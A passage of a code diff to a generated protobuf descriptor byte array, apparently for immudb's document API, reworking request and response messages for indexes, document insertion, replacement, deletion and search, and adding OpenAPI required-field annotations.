0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x60, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x3a, + 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x83, 0x01, 0x0a, 0x16, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, - 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x4c, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x22, 0x15, - 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6f, 0x0a, 0x16, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x12, 0x92, 0x41, + 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x73, 0x22, 0x88, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x79, 0x0a, 0x17, 0x52, 0x65, 0x70, - 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, + 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x5a, + 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x8f, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, - 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, - 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, - 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, - 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, - 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, - 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, - 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, + 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, + 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x16, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, + 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x17, 0x92, 0x41, 0x14, + 0x0a, 0x12, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x22, 0xc9, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, + 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, + 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x12, 0x92, 0x41, + 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xad, + 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, + 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, + 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x75, 0x0a, 0x17, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, - 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0xe7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, - 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 